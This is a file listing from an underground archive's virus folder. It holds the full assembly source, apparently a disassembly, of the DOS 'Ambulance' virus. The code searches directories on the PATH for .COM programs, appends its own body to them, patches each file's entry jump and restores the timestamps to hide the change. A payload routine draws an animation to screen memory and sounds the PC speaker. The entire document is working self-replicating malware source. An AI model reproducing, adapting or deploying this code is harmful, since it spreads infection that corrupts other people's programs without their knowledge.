home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / ambulanc.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.6 KB  |  480 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    AMBULANC                     ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   13-Feb-92                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_1e        equ    0Ch
  26.  
  27. data_2e        equ    49h
  28.  
  29. data_3e        equ    6Ch
  30.  
  31. psp_envirn_seg    equ    2Ch
  32.  
  33. data_20e    equ    0C80h
  34.  
  35.  
  36.  
  37. seg_a        segment    byte public
  38.  
  39.         assume    cs:seg_a, ds:seg_a
  40.  
  41.  
  42.  
  43.  
  44.  
  45.         org    100h
  46.  
  47.  
  48.  
  49. ambulanc    proc    far
  50.  
  51.  
  52.  
  53. start:
  54.  
  55.         jmp    loc_1
  56.  
  57.         db    0
  58.  
  59. data_7        dw    0            ; Data table (indexed access)
  60.  
  61.         db    44 dup (0)
  62.  
  63. loc_1:
  64.  
  65. ;*        call    sub_1            ;*
  66.  
  67.         db    0E8h, 01h, 00h
  68.  
  69.         add    [bp-7Fh],bx
  70.  
  71.         out    dx,al            ; port 0, DMA-1 bas&add ch 0
  72.  
  73.         add    ax,[bx+di]
  74.  
  75.         call    sub_2
  76.  
  77.         call    sub_2
  78.  
  79.         call    sub_4
  80.  
  81.         lea    bx,[si+419h]        ; Load effective addr
  82.  
  83.         mov    di,100h
  84.  
  85.         mov    al,[bx]
  86.  
  87.         mov    [di],al
  88.  
  89.         mov    ax,[bx+1]
  90.  
  91.         mov    [di+1],ax
  92.  
  93.         jmp    di            ;*Register jump
  94.  
  95.  
  96.  
  97. loc_ret_2:
  98.  
  99.         retn
  100.  
  101.  
  102.  
  103. ambulanc    endp
  104.  
  105.  
  106.  
  107. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  108.  
  109. ;                   SUBROUTINE
  110.  
  111. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  112.  
  113.  
  114.  
  115. sub_2        proc    near
  116.  
  117.         call    sub_3
  118.  
  119.         mov    al,byte ptr data_19[si]
  120.  
  121.         or    al,al            ; Zero ?
  122.  
  123.         jz    loc_ret_2        ; Jump if zero
  124.  
  125.         lea    bx,[si+40Fh]        ; Load effective addr
  126.  
  127.         inc    word ptr [bx]
  128.  
  129.         lea    dx,[si+428h]        ; Load effective addr
  130.  
  131.         mov    ax,3D02h
  132.  
  133.         int    21h            ; DOS Services  ah=function 3Dh
  134.  
  135.                         ;  open file, al=mode,name@ds:dx
  136.  
  137.         mov    data_12[si],ax
  138.  
  139.         mov    bx,data_12[si]
  140.  
  141.         mov    cx,3
  142.  
  143.         lea    dx,[si+414h]        ; Load effective addr
  144.  
  145.         mov    ah,3Fh            ; '?'
  146.  
  147.         int    21h            ; DOS Services  ah=function 3Fh
  148.  
  149.                         ;  read file, bx=file handle
  150.  
  151.                         ;   cx=bytes to ds:dx buffer
  152.  
  153.         mov    al,data_10[si]
  154.  
  155.         cmp    al,0E9h
  156.  
  157.         jne    loc_3            ; Jump if not equal
  158.  
  159.         mov    dx,data_11[si]
  160.  
  161.         mov    bx,data_12[si]
  162.  
  163.         add    dx,3
  164.  
  165.         xor    cx,cx            ; Zero register
  166.  
  167.         mov    ax,4200h
  168.  
  169.         int    21h            ; DOS Services  ah=function 42h
  170.  
  171.                         ;  move file ptr, bx=file handle
  172.  
  173.                         ;   al=method, cx,dx=offset
  174.  
  175.         mov    bx,data_12[si]
  176.  
  177.         mov    cx,6
  178.  
  179.         lea    dx,[si+41Ch]        ; Load effective addr
  180.  
  181.         mov    ah,3Fh            ; '?'
  182.  
  183.         int    21h            ; DOS Services  ah=function 3Fh
  184.  
  185.                         ;  read file, bx=file handle
  186.  
  187.                         ;   cx=bytes to ds:dx buffer
  188.  
  189.         mov    ax,data_13[si]
  190.  
  191.         mov    bx,data_14[si]
  192.  
  193.         mov    cx,data_15[si]
  194.  
  195.         cmp    ax,word ptr ds:[100h][si]
  196.  
  197.         jne    loc_3            ; Jump if not equal
  198.  
  199.         cmp    bx,word ptr ds:[102h][si]
  200.  
  201.         jne    loc_3            ; Jump if not equal
  202.  
  203.         cmp    cx,data_7[si]
  204.  
  205.         je    loc_4            ; Jump if equal
  206.  
  207. loc_3:
  208.  
  209.         mov    bx,data_12[si]
  210.  
  211.         xor    cx,cx            ; Zero register
  212.  
  213.         xor    dx,dx            ; Zero register
  214.  
  215.         mov    ax,4202h
  216.  
  217.         int    21h            ; DOS Services  ah=function 42h
  218.  
  219.                         ;  move file ptr, bx=file handle
  220.  
  221.                         ;   al=method, cx,dx=offset
  222.  
  223.         sub    ax,3
  224.  
  225.         mov    data_9[si],ax
  226.  
  227.         mov    bx,data_12[si]
  228.  
  229.         mov    ax,5700h
  230.  
  231.         int    21h            ; DOS Services  ah=function 57h
  232.  
  233.                         ;  get file date+time, bx=handle
  234.  
  235.                         ;   returns cx=time, dx=time
  236.  
  237.         push    cx
  238.  
  239.         push    dx
  240.  
  241.         mov    bx,data_12[si]
  242.  
  243.         mov    cx,319h
  244.  
  245.         lea    dx,[si+100h]        ; Load effective addr
  246.  
  247.         mov    ah,40h            ; '@'
  248.  
  249.         int    21h            ; DOS Services  ah=function 40h
  250.  
  251.                         ;  write file  bx=file handle
  252.  
  253.                         ;   cx=bytes from ds:dx buffer
  254.  
  255.         mov    bx,data_12[si]
  256.  
  257.         mov    cx,3
  258.  
  259.         lea    dx,[si+414h]        ; Load effective addr
  260.  
  261.         mov    ah,40h            ; '@'
  262.  
  263.         int    21h            ; DOS Services  ah=function 40h
  264.  
  265.                         ;  write file  bx=file handle
  266.  
  267.                         ;   cx=bytes from ds:dx buffer
  268.  
  269.         mov    bx,data_12[si]
  270.  
  271.         xor    cx,cx            ; Zero register
  272.  
  273.         xor    dx,dx            ; Zero register
  274.  
  275.         mov    ax,4200h
  276.  
  277.         int    21h            ; DOS Services  ah=function 42h
  278.  
  279.                         ;  move file ptr, bx=file handle
  280.  
  281.                         ;   al=method, cx,dx=offset
  282.  
  283.         mov    bx,data_12[si]
  284.  
  285.         mov    cx,3
  286.  
  287.         lea    dx,[si+411h]        ; Load effective addr
  288.  
  289.         mov    ah,40h            ; '@'
  290.  
  291.         int    21h            ; DOS Services  ah=function 40h
  292.  
  293.                         ;  write file  bx=file handle
  294.  
  295.                         ;   cx=bytes from ds:dx buffer
  296.  
  297.         pop    dx
  298.  
  299.         pop    cx
  300.  
  301.         mov    bx,data_12[si]
  302.  
  303.         mov    ax,5701h
  304.  
  305.         int    21h            ; DOS Services  ah=function 57h
  306.  
  307.                         ;  set file date+time, bx=handle
  308.  
  309.                         ;   cx=time, dx=time
  310.  
  311. loc_4:
  312.  
  313.         mov    bx,data_12[si]
  314.  
  315.         mov    ah,3Eh            ; '>'
  316.  
  317.         int    21h            ; DOS Services  ah=function 3Eh
  318.  
  319.                         ;  close file, bx=file handle
  320.  
  321.         retn
  322.  
  323. sub_2        endp
  324.  
  325.  
  326.  
  327.  
  328.  
  329. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  330.  
  331. ;                   SUBROUTINE
  332.  
  333. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  334.  
  335.  
  336.  
  337. sub_3        proc    near
  338.  
  339.         mov    ax,ds:psp_envirn_seg
  340.  
  341.         mov    es,ax
  342.  
  343.         push    ds
  344.  
  345.         mov    ax,40h
  346.  
  347.         mov    ds,ax
  348.  
  349.         mov    bp,ds:data_3e
  350.  
  351.         pop    ds
  352.  
  353.         test    bp,3
  354.  
  355.         jz    loc_7            ; Jump if zero
  356.  
  357.         xor    bx,bx            ; Zero register
  358.  
  359. loc_5:
  360.  
  361.         mov    ax,es:[bx]
  362.  
  363.         cmp    ax,4150h
  364.  
  365.         jne    loc_6            ; Jump if not equal
  366.  
  367.         cmp    word ptr es:[bx+2],4854h
  368.  
  369.         je    loc_8            ; Jump if equal
  370.  
  371. loc_6:
  372.  
  373.         inc    bx
  374.  
  375.         or    ax,ax            ; Zero ?
  376.  
  377.         jnz    loc_5            ; Jump if not zero
  378.  
  379. loc_7:
  380.  
  381.         lea    di,[si+428h]        ; Load effective addr
  382.  
  383.         jmp    short loc_13
  384.  
  385. loc_8:
  386.  
  387.         add    bx,5
  388.  
  389. loc_9:
  390.  
  391.         lea    di,[si+428h]        ; Load effective addr
  392.  
  393. loc_10:
  394.  
  395.         mov    al,es:[bx]
  396.  
  397.         inc    bx
  398.  
  399.         or    al,al            ; Zero ?
  400.  
  401.         jz    loc_12            ; Jump if zero
  402.  
  403.         cmp    al,3Bh            ; ';'
  404.  
  405.         je    loc_11            ; Jump if equal
  406.  
  407.         mov    [di],al
  408.  
  409.         inc    di
  410.  
  411.         jmp    short loc_10
  412.  
  413. loc_11:
  414.  
  415.         cmp    byte ptr es:[bx],0
  416.  
  417.         je    loc_12            ; Jump if equal
  418.  
  419.         shr    bp,1            ; Shift w/zeros fill
  420.  
  421.         shr    bp,1            ; Shift w/zeros fill
  422.  
  423.         test    bp,3
  424.  
  425.         jnz    loc_9            ; Jump if not zero
  426.  
  427. loc_12:
  428.  
  429.         cmp    byte ptr [di-1],5Ch    ; '\'
  430.  
  431.         je    loc_13            ; Jump if equal
  432.  
  433.         mov    byte ptr [di],5Ch    ; '\'
  434.  
  435.         inc    di
  436.  
  437. loc_13:
  438.  
  439.         push    ds
  440.  
  441.         pop    es
  442.  
  443.         mov    data_16[si],di
  444.  
  445.         mov    ax,2E2Ah
  446.  
  447.         stosw                ; Store ax to es:[di]
  448.  
  449.         mov    ax,4F43h
  450.  
  451.         stosw                ; Store ax to es:[di]
  452.  
  453.         mov    ax,4Dh
  454.  
  455.         stosw                ; Store ax to es:[di]
  456.  
  457.         push    es
  458.  
  459.         mov    ah,2Fh            ; '/'
  460.  
  461.         int    21h            ; DOS Services  ah=function 2Fh
  462.  
  463.                         ;  get DTA ptr into es:bx
  464.  
  465.         mov    ax,es
  466.  
  467.         mov    data_17[si],ax
  468.  
  469.         mov    data_18[si],bx
  470.  
  471.         pop    es
  472.  
  473.         lea    dx,[si+478h]        ; Load effective addr
  474.  
  475.         mov    ah,1Ah
  476.  
  477.         int    21h            ; DOS Services  ah=function 1Ah
  478.  
  479.                         ;  set DTA(disk xfer area) ds:dx
  480.  
  481.         lea    dx,[si+428h]        ; Load effective addr
  482.  
  483.         xor    cx,cx            ; Zero register
  484.  
  485.         mov    ah,4Eh            ; 'N'
  486.  
  487.         int    21h            ; DOS Services  ah=function 4Eh
  488.  
  489.                         ;  find 1st filenam match @ds:dx
  490.  
  491.         jnc    loc_14            ; Jump if carry=0
  492.  
  493.         xor    ax,ax            ; Zero register
  494.  
  495.         mov    data_19[si],ax
  496.  
  497.         jmp    short loc_17
  498.  
  499. loc_14:
  500.  
  501.         push    ds
  502.  
  503.         mov    ax,40h
  504.  
  505.         mov    ds,ax
  506.  
  507.         ror    bp,1            ; Rotate
  508.  
  509.         xor    bp,ds:data_3e
  510.  
  511.         pop    ds
  512.  
  513.         test    bp,7
  514.  
  515.         jz    loc_15            ; Jump if zero
  516.  
  517.         mov    ah,4Fh            ; 'O'
  518.  
  519.         int    21h            ; DOS Services  ah=function 4Fh
  520.  
  521.                         ;  find next filename match
  522.  
  523.         jnc    loc_14            ; Jump if carry=0
  524.  
  525. loc_15:
  526.  
  527.         mov    di,data_16[si]
  528.  
  529.         lea    bx,[si+496h]        ; Load effective addr
  530.  
  531. loc_16:
  532.  
  533.         mov    al,[bx]
  534.  
  535.         inc    bx
  536.  
  537.         stosb                ; Store al to es:[di]
  538.  
  539.         or    al,al            ; Zero ?
  540.  
  541.         jnz    loc_16            ; Jump if not zero
  542.  
  543. loc_17:
  544.  
  545.         mov    bx,data_18[si]
  546.  
  547.         mov    ax,data_17[si]
  548.  
  549.         push    ds
  550.  
  551.         mov    ds,ax
  552.  
  553.         mov    ah,1Ah
  554.  
  555.         int    21h            ; DOS Services  ah=function 1Ah
  556.  
  557.                         ;  set DTA(disk xfer area) ds:dx
  558.  
  559.         pop    ds
  560.  
  561.         retn
  562.  
  563. sub_3        endp
  564.  
  565.  
  566.  
  567.  
  568.  
  569. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  570.  
  571. ;                   SUBROUTINE
  572.  
  573. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  574.  
  575.  
  576.  
  577. sub_4        proc    near
  578.  
  579.         push    es
  580.  
  581.         mov    ax,data_8[si]
  582.  
  583.         and    ax,7
  584.  
  585.         cmp    ax,6
  586.  
  587.         jne    loc_18            ; Jump if not equal
  588.  
  589.         mov    ax,40h
  590.  
  591.         mov    es,ax
  592.  
  593.         mov    ax,es:data_1e
  594.  
  595.         or    ax,ax            ; Zero ?
  596.  
  597.         jnz    loc_18            ; Jump if not zero
  598.  
  599.         inc    word ptr es:data_1e
  600.  
  601.         call    sub_5
  602.  
  603. loc_18:
  604.  
  605.         pop    es
  606.  
  607.         retn
  608.  
  609. sub_4        endp
  610.  
  611.  
  612.  
  613.  
  614.  
  615. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  616.  
  617. ;                   SUBROUTINE
  618.  
  619. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  620.  
  621.  
  622.  
  623. sub_5        proc    near
  624.  
  625.         push    ds
  626.  
  627.         mov    di,0B800h
  628.  
  629.         mov    ax,40h
  630.  
  631.         mov    ds,ax
  632.  
  633.         mov    al,ds:data_2e
  634.  
  635.         cmp    al,7
  636.  
  637.         jne    loc_19            ; Jump if not equal
  638.  
  639.         mov    di,0B000h
  640.  
  641. loc_19:
  642.  
  643.         mov    es,di
  644.  
  645.         pop    ds
  646.  
  647.         mov    bp,0FFF0h
  648.  
  649. loc_20:
  650.  
  651.         mov    dx,0
  652.  
  653.         mov    cx,10h
  654.  
  655.  
  656.  
  657. locloop_21:
  658.  
  659.         call    sub_8
  660.  
  661.         inc    dx
  662.  
  663.         loop    locloop_21        ; Loop if cx > 0
  664.  
  665.  
  666.  
  667.         call    sub_7
  668.  
  669.         call    sub_9
  670.  
  671.         inc    bp
  672.  
  673.         cmp    bp,50h
  674.  
  675.         jne    loc_20            ; Jump if not equal
  676.  
  677.         call    sub_6
  678.  
  679.         push    ds
  680.  
  681.         pop    es
  682.  
  683.         retn
  684.  
  685. sub_5        endp
  686.  
  687.  
  688.  
  689.  
  690.  
  691. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  692.  
  693. ;                   SUBROUTINE
  694.  
  695. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  696.  
  697.  
  698.  
  699. sub_6        proc    near
  700.  
  701.         in    al,61h            ; port 61h, 8255 port B, read
  702.  
  703.         and    al,0FCh
  704.  
  705.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  706.  
  707.                         ;  al = 0, disable parity
  708.  
  709.         retn
  710.  
  711. sub_6        endp
  712.  
  713.  
  714.  
  715.  
  716.  
  717. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  718.  
  719. ;                   SUBROUTINE
  720.  
  721. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  722.  
  723.  
  724.  
  725. sub_7        proc    near
  726.  
  727.         mov    dx,7D0h
  728.  
  729.         test    bp,4
  730.  
  731.         jz    loc_22            ; Jump if zero
  732.  
  733.         mov    dx,0BB8h
  734.  
  735. loc_22:
  736.  
  737.         in    al,61h            ; port 61h, 8255 port B, read
  738.  
  739.         test    al,3
  740.  
  741.         jnz    loc_23            ; Jump if not zero
  742.  
  743.         or    al,3
  744.  
  745.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  746.  
  747.         mov    al,0B6h
  748.  
  749.         out    43h,al            ; port 43h, 8253 wrt timr mode
  750.  
  751. loc_23:
  752.  
  753.         mov    ax,dx
  754.  
  755.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  756.  
  757.         mov    al,ah
  758.  
  759.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  760.  
  761.         retn
  762.  
  763. sub_7        endp
  764.  
  765.  
  766.  
  767.  
  768.  
  769. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  770.  
  771. ;                   SUBROUTINE
  772.  
  773. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  774.  
  775.  
  776.  
  777. sub_8        proc    near
  778.  
  779.         push    cx
  780.  
  781.         push    dx
  782.  
  783.         lea    bx,[si+3BFh]        ; Load effective addr
  784.  
  785.         add    bx,dx
  786.  
  787.         add    dx,bp
  788.  
  789.         or    dx,dx            ; Zero ?
  790.  
  791.         js    loc_26            ; Jump if sign=1
  792.  
  793.         cmp    dx,50h
  794.  
  795.         jae    loc_26            ; Jump if above or =
  796.  
  797.         mov    di,data_20e
  798.  
  799.         add    di,dx
  800.  
  801.         add    di,dx
  802.  
  803.         sub    dx,bp
  804.  
  805.         mov    cx,5
  806.  
  807.  
  808.  
  809. locloop_24:
  810.  
  811.         mov    ah,7
  812.  
  813.         mov    al,[bx]
  814.  
  815.         sub    al,7
  816.  
  817.         add    al,cl
  818.  
  819.         sub    al,dl
  820.  
  821.         cmp    cx,5
  822.  
  823.         jne    loc_25            ; Jump if not equal
  824.  
  825.         mov    ah,0Fh
  826.  
  827.         test    bp,3
  828.  
  829.         jz    loc_25            ; Jump if zero
  830.  
  831.         mov    al,20h            ; ' '
  832.  
  833. loc_25:
  834.  
  835.         stosw                ; Store ax to es:[di]
  836.  
  837.         add    bx,10h
  838.  
  839.         add    di,9Eh
  840.  
  841.         loop    locloop_24        ; Loop if cx > 0
  842.  
  843.  
  844.  
  845. loc_26:
  846.  
  847.         pop    dx
  848.  
  849.         pop    cx
  850.  
  851.         retn
  852.  
  853. sub_8        endp
  854.  
  855.  
  856.  
  857.  
  858.  
  859. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  860.  
  861. ;                   SUBROUTINE
  862.  
  863. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  864.  
  865.  
  866.  
  867. sub_9        proc    near
  868.  
  869.         push    ds
  870.  
  871.         mov    ax,40h
  872.  
  873.         mov    ds,ax
  874.  
  875.         mov    ax,ds:data_3e
  876.  
  877. loc_28:
  878.  
  879.         cmp    ax,ds:data_3e
  880.  
  881.         je    loc_28            ; Jump if equal
  882.  
  883.         pop    ds
  884.  
  885.         retn
  886.  
  887. sub_9        endp
  888.  
  889.  
  890.  
  891.         and    ah,[bp+di]
  892.  
  893.         and    al,25h            ; '%'
  894.  
  895.         db     26h, 27h, 28h, 29h, 66h, 87h
  896.  
  897.         db     3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
  898.  
  899.         db     23h,0E0h,0E1h,0E2h,0E3h,0E4h
  900.  
  901.         db    0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
  902.  
  903.         db    0EBh
  904.  
  905.         db    30h
  906.  
  907. data_8        dw    3231h            ; Data table (indexed access)
  908.  
  909.         db    24h
  910.  
  911. data_9        dw    0E1E0h            ; Data table (indexed access)
  912.  
  913. data_10        db    0E2h            ; Data table (indexed access)
  914.  
  915. data_11        dw    0E8E3h            ; Data table (indexed access)
  916.  
  917. data_12        dw    0EA2Ah            ; Data table (indexed access)
  918.  
  919.         db    0E7h,0E8h,0E9h
  920.  
  921. data_13        dw    302Fh            ; Data table (indexed access)
  922.  
  923. data_14        dw    326Dh            ; Data table (indexed access)
  924.  
  925. data_15        dw    2533h            ; Data table (indexed access)
  926.  
  927. data_16        dw    0E2E1h            ; Data table (indexed access)
  928.  
  929. data_17        dw    0E4E3h            ; Data table (indexed access)
  930.  
  931. data_18        dw    0E7E5h            ; Data table (indexed access)
  932.  
  933. data_19        dw    0E8E7h            ; Data table (indexed access)
  934.  
  935.         db    0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
  936.  
  937.         db    0EFh, 26h,0E6h,0E7h, 29h, 59h
  938.  
  939.         db     5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
  940.  
  941.         db    0F0h, 32h, 62h, 34h,0F4h, 0Ah
  942.  
  943.         db     00h,0E9h, 2Fh, 00h,0CDh, 20h
  944.  
  945.         db     00h, 05h, 00h,0CDh, 20h, 00h
  946.  
  947.  
  948.  
  949. seg_a        ends
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956.  
  957.         end    start
  958.  
  959.